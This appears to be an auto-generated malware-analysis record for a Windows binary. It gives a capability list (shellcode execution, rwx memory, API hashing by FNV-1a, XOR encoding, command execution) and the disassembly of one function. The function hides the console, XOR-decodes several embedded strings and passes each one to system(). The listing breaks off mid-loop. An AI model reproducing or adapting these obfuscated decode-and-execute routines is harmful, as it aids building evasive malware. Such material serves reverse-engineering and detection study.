Function at 0x140068a20
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check internet connectivity via wininet
Encode data using xor
Execute command
Execute shellcode via indirect call
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Set console window title
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x158]
sub rsp, 0x230
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x14013a080]
xor rax, rsp
mov qword [rbp + 0xf0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [0x1401270a0]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x1401270b0]
movups xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [0x1401270c0]
movups xmmword [rbp - 8], xmm0
movzx eax, word [0x1401270d0]
mov word [rbp + 8], ax
xor ebx, ebx
mov r8d, ebx
lea esi, [rbx + 5]
lea r14d, [rbx + 0x1f]
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp r15d, 2
jl 0x140068c0b
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140068b00
cmp r8d, 0x32
jge 0x140068c55
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x140068c20
lea rcx, [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140127328]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x140127338]
movups xmmword [rbp - 0x18], xmm1
movzx eax, word [0x140127348]
mov word [rbp - 8], ax
mov r8d, ebx
cmp r15d, 2
jl 0x140068ddb
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140068cd0
cmp r8d, 0x22
jge 0x140068e25
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140068df0
lea rcx, [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140126668]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x140126678]
movups xmmword [rbp - 0x18], xmm1
mov eax, dword [str._nt__8]
mov dword [rbp - 8], eax
movzx eax, word [0x14012668c]
mov word [rbp - 4], ax
mov r8d, ebx
cmp r15d, 2
jl 0x140068fab
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140068ea0
cmp r8d, 0x26
jge 0x140068ff5
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x140068fc0
lea rcx, [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140126f08]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x140126f18]
movups xmmword [rbp - 0x18], xmm1
movzx eax, word [0x140126f28]
mov word [rbp - 8], ax
mov r8d, ebx
cmp r15d, 2
jl 0x14006917b
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140069070
cmp r8d, 0x22
jge 0x1400691c5
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140069190
lea rcx, [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140127670]
movups xmmword [rbp + 0x48], xmm0
movsd xmm0, qword [0x140127680]
movsd qword [rbp + 0x58], xmm0
mov eax, dword [0x140127688]
mov dword [rbp + 0x60], eax
movzx eax, word [0x14012768c]
mov word [rbp + 0x64], ax
cmp byte [0x14012768d], bl
je 0x1400693a5
mov r8d, ebx
cmp r15d, 2
jl 0x14006935b
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x4c]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140069250
cmp r8d, 0x1e
jge 0x1400693a5
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140069370
lea rcx, [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140127580]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x140127590]
movups xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [0x1401275a0]
movups xmmword [rbp - 8], xmm0
mov eax, dword [0x1401275b0]
mov dword [rbp + 8], eax
movzx eax, byte [0x1401275b4]
mov byte [rbp + 0xc], al
mov r8d, ebx
cmp r15d, 2
jl 0x14006953b
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140069430
cmp r8d, 0x35
jge 0x140069585
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140069550
lea rcx, [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140127430]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x140127440]
movups xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [0x140127450]
movups xmmword [rbp - 8], xmm0
mov eax, dword [0x140127460]
mov dword [rbp + 8], eax
movzx eax, word [0x140127464]
mov word [rbp + 0xc], ax
mov r8d, ebx
cmp r15d, 2
jl 0x14006971b
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140069610
cmp r8d, 0x36
jge 0x140069765
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x36
jl 0x140069730
lea rcx, [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.M_HWVWS_am]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x140127758]
movups xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [str.04mhp_r7_t]
movups xmmword [rbp - 8], xmm0
movsd xmm0, qword [0x140127778]
movsd qword [rbp + 8], xmm0
movzx eax, word [0x140127780]
mov word [rbp + 0x10], ax
mov r8d, ebx
cmp r15d, 2
jl 0x1400698fb
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400697f0
cmp r8d, 0x3a
jge 0x140069945
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3a
jl 0x140069910
lea rcx, [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401269b0]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x1401269c0]
movups xmmword [rbp - 0x18], xmm1
mov eax, dword [0x1401269d0]
mov dword [rbp - 8], eax
movzx eax, byte [0x1401269d4]
mov byte [rbp - 4], al
mov r8d, ebx
cmp r15d, 2
jl 0x140069acb
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400699c0
cmp r8d, 0x25
jge 0x140069b15
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140069ae0
lea rcx, [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401271c8]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x1401271d8]
movups xmmword [rbp - 0x18], xmm1
movsd xmm0, qword [0x1401271e8]
movsd qword [rbp - 8], xmm0
movzx eax, word [0x1401271f0]
mov word [rbp], ax
mov r8d, ebx
cmp r15d, 2
jl 0x140069c9c
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
